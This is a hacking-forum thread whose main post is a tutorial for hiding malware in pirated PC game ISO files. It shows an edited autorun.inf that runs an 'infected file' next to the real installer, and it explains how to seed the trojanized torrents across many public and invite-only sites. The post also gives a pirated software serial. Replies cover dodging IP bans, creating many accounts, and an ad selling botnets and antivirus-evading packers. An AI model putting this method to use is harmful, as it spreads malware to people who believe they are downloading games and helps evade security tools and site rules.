Torrent Spreading Guide

You will need:

- uTorrent Spoiler ([Click to View](#))[Download Here](#)
- PowerISO Spoiler ([Click to View](#))[Download Here](#)

Use the following information to register it:

Name:Dracul

Serial:65NC4-6L14G-VLS9E-VBLIB-NR38C

- Autorun Pro (there are alternative techniques that do not require this but this makes it easier)

Spoiler ([Click to View](#))

[Download at very bottom of page](#)

- A PC Game ISO (can be downloaded via torrents)
- A FUD(ish) file. 2/24 is fine providing they aren't common AVs.
- A seedbox would be very useful as downloading 10gb files from a home network can be quite slow.

Step 1: Once PowerISO is installed, any ISO files should automatically run with it. So, double click the ISO to open it. A window like [.com/2mmwco4.jpg\]THIS](#) should then appear, drag the 'autorun.inf' onto your desktop and open it. Change it to say [.com/5l6gdu.jpg\]THIS](#), where 'Autorun.exe' is the original file being ran and 'Autorun2.exe' is the infected file. Keep the bottom line as it was when you opened it and when you're done save and close it. Code [Autorun]
open=AutoRunPro.exe

[AutorunPro]

Run1=Autorun.exe

Run2=autorun2.exe

icon=Sims3.ico

Step 2: Extract the AutorunPro RAR and drag the 'AutorunPro' file within onto the PowerISO window (overwriting the original). Then drag your ammended 'autorun.inf' and your infected file back into the PowerISO window. Your PowerISO window should now look something like [.com/30c40lh.jpg\]THIS](#), the highlighted files are the ones we have edited/added.

Step 3: If you're PowerISO window does look like that then you can click Save ([.com/2m67u3l.jpg\]HERE](#)) and overwrite it.

Step 4: Once it has finished saving, you're ISO is complete. All you have to do now is create the torrent file. Assuming you know how to do that, here is a list of trackers: Spoiler ([Click to View](#))
<http://open.tracker.#.org/announce>

<http://www.torrent-downloads.to:2710/announce>
<http://denis.stalker.h3q.com:6969/announce>

<http://tracker.ydy.com:98/announce>
<http://218.145.160.136:8080/announce>
<http://tracker.btminer.com:2710/announce>

Step 5: Upload your torrent to the following sites (make sure include a nice long description with pictures and videos) until you have at least 10 leechers or a few seeders:

Spoiler [\(Click to View\)](#)<http://www.torrentportal.com>
<http://www.torrentreactor.net>
<http://www.bitenova.org>
<http://www.torrentbox.com>
<http://www.torrents.sumotorrent.com/upload.php>
<http://www.seedpeer.com>
<http://www.torrentreactor.to>
<http://www.yourbittorrent.com>
<http://www.1337x.org>
<http://www.h33t.com>
<http://www.bushtorrent.com>
<http://www.torrentmatrix.com>

Plus any others excluding #, Demonoid and any invitation only sites.

Once you have achieved a few seeders••, upload your torrent to:Spoiler ([Click to View](#))
<http://www.#.org>

Plus any other invitation only or popular sites

Finally, once you have 25-30 seeders or as many as you think you're going to get upload your torrent to <http://www.demonoid.com>. (Keep an eye out for when Demonoid is open registration and then create LOTS of accounts).

Credit to:

xAgentNapalm for autorun technique.

Me for writing the tutorial.

Napalm of Dildonia - March 6, 2010, 5:59 pm

I told you about PowerISO and how it's much easier then fully extracting and fully compressing with WinRAR. As for Demonoid, just invite yourself, sign out, change IPs, and register with the invite. Be careful which tracker is the first in the list. Demonoid may consistently report the torrent as "Dead."

gostfaced - March 11, 2010, 8:55 pm

works great just started seeding how long should it take?

Napalm of Dildonia - March 11, 2010, 9:10 pm

(Mar 11, 2010 09:55 PM)gostfaced Wrote: [\[CITE\]](#) works great just started seeding how long should it take?

Depends on filesize and your connection. Generally I get done with 6 gigs in around 12 hours or so.

?Analog? - March 12, 2010, 12:11 am

Once you get this "Down-pat" get a seedbox to seed the torrent for you.

gostfaced - March 12, 2010, 1:49 am

thanks alot :) sadly i dont have any money for a seedbox

jamesmc2k8 - March 16, 2010, 12:44 pm

Thing problem ya'll don't understand is: Even though you may have a seedbox you still gotta upload the 10 GIG file to it from you're OWN connection so if you have slow upload like me your fucked

sources: had a seedbox

Clovers - March 16, 2010, 1:02 pm

(Mar 16, 2010 12:44 PM)jamesmc2k8 Wrote: [\[CITE\]](#) Thing problem ya'll don't understand is: Even though you may have a seedbox you still gotta upload the 10 GIG file to it from you're OWN connection so if you have slow upload like me your fucked

sources: had a seedboxIf you want to spend some more money you could get a vps with windows. Then you don't have that problem anymore.

Napalm of Dildonia - March 16, 2010, 1:09 pm

Don't seedboxes allow FTP access? There you go, not too much of an issue, then.

Sociopatrol - March 16, 2010, 1:10 pm

This is perfect. Can't wait to test it out. Thanks man.

jamesmc2k8 - March 16, 2010, 3:36 pm

Np.

.InSaNe - April 5, 2010, 3:37 pm

i need a piratebay account

frazdaz - April 5, 2010, 4:33 pm

(Apr 5, 2010 03:37 PM)cta insane Wrote: [\[CITE\]](#) i need a piratebay account
Make a new email, register, activate account.

.InSaNe - April 5, 2010, 4:36 pm

(Apr 5, 2010 04:33 PM)frazdaz Wrote: [\[CITE\]](#) Make a new email, register, activate account.ip banned dude

frazdaz - April 5, 2010, 5:34 pm

Change your IP (reset router in most cases), proxy, VPN???? Cm'on dude.

.InSaNe - April 5, 2010, 11:03 pm

(Apr 5, 2010 05:34 PM)frazdaz Wrote: [\[CITE\]](#) Change your IP (reset router in most cases), proxy, VPN???? Cm'on dude.

lol i dont even get a confirmation email i mean i used to just change my ip and get one but now it just fails

ManUnited - July 28, 2010, 7:05 am

I might try this out as I am looking for a new way to spread, thank you frazdaz for the share.

Oxidium - July 28, 2010, 10:32 am

?My bro Fraser.???-----

nk5 - July 30, 2010, 6:58 am

a question and a answer, why dont people upload there bots to mediafire or some upload server??

nk5 - August 15, 2010, 7:21 pm

great tut.i have a question do you have to use an ISO file or could it be any file.

frazdaz - August 31, 2010, 2:43 pm

(Aug 15, 2010 07:21 PM)nk5 Wrote: [\[CITE\]](#) great tut.i have a question do you have to use an ISO file or could it be any file.Ofc it has to be an ISO file.

azeer - September 10, 2010, 8:05 am

Well , it s a trick i been looking for since a while , thanks you man.

hahaabcdefghijklmnopqrstuvwxyz - September 10, 2010, 11:00 am

this is great! does anyone know a way to make it so that autorunpro.exe doesnt have to be run as admin?

frazdaz - September 10, 2010, 1:29 pm

(Sep 10, 2010 11:00 AM)BlueDream™ Wrote: [\[CITE\]](#) this is great! does anyone know a way to make it so that autorunpro.exe doesnt have to be run as admin?It doesn't need to be. I dont think anyways.

hahaabcdefghijklmnopqrstuvwxyz - September 10, 2010, 1:43 pm

yeah it does on my win7 64 bit.. still a good method tho :P

The Real Kobe Bryant - September 10, 2010, 1:59 pm

Good tut, i used it and it was very detailed and didnt skip anything!

noid - September 17, 2010, 1:10 am

works great just started seeding how long should it take?

frazdaz - September 17, 2010, 4:38 pm

(Sep 17, 2010 01:10 AM)Nessy Wrote: [\[CITE\]](#) works great just started seeding how long should it take?depends on their internet speed. when they put the CD in their drive, they run your .exe.

Sublime. - September 19, 2010, 3:30 pm

Looks really good. Gonna try it out with some new pc games hopefully this works.

Mikey™ - September 19, 2010, 4:33 pm

Nice guide, I'm sure it'll help alot of people. ?

shanhackstheworld - October 13, 2010, 2:15 am

Thanks for this guide, may this help a lot of hf members.

citrus_k - October 14, 2010, 4:57 am

thanks for the tut man i was searching for a long time to learn how to do this

FrenchcoreRadio - October 15, 2010, 3:53 pm

that iso plan is quite working, never really thought of that kind of autorunning it.

Crenzpy - October 16, 2010, 1:10 am

when I seed its always in swarm, how come?

itzYoshi - December 31, 2010, 7:05 am

its demonoid.me now btw just to let u guys know :D

Viral Impact - January 29, 2011, 3:22 pm

all the pictures are not working for me :(

??h™ - January 29, 2011, 3:24 pm

This is a good method, I vouch for this guy. :)

lebbot - January 30, 2011, 4:57 pm

selling Install DownLoad Fud Packers add me Botnets@live.com

Adept - October 17, 2013, 4:02 am

Does this 'autorun-stuck-to-iso' method still work? If so i will definately try it

4freedom - July 23, 2014, 3:07 pm

Hey any good seed box provider recommendations with unlimited access and storage?

H????? - August 8, 2014, 4:16 am

Anyone have the working AutoRun.rar file download?

H????? - August 8, 2014, 4:18 am

Anyone have the working AutoRun.rar file download?

Trickster23 - December 6, 2015, 4:34 am

Bro You The Real Mvp This is I m looking For..

GanjaGrower - December 6, 2015, 7:54 am

For all those wondering why it has to be an ISO file its because its one of the only files types that is FUD to windows and cannot be scanned. Learned that from my networking teacher ?

?Genocide(X) - December 6, 2015, 11:46 am

(Dec 6, 2015 05:34 AM)Trickster23 Wrote: [\[CITE\]](#) Bro You The Real Mvp This is I m looking For..
Thanks you idiot for GD

(Dec 6, 2015 08:54 AM)GanjaGrower Wrote: [\[CITE\]](#) For all those wondering why it has to be an ISO file its because its one of the only files types that is FUD to windows and cannot be scanned.
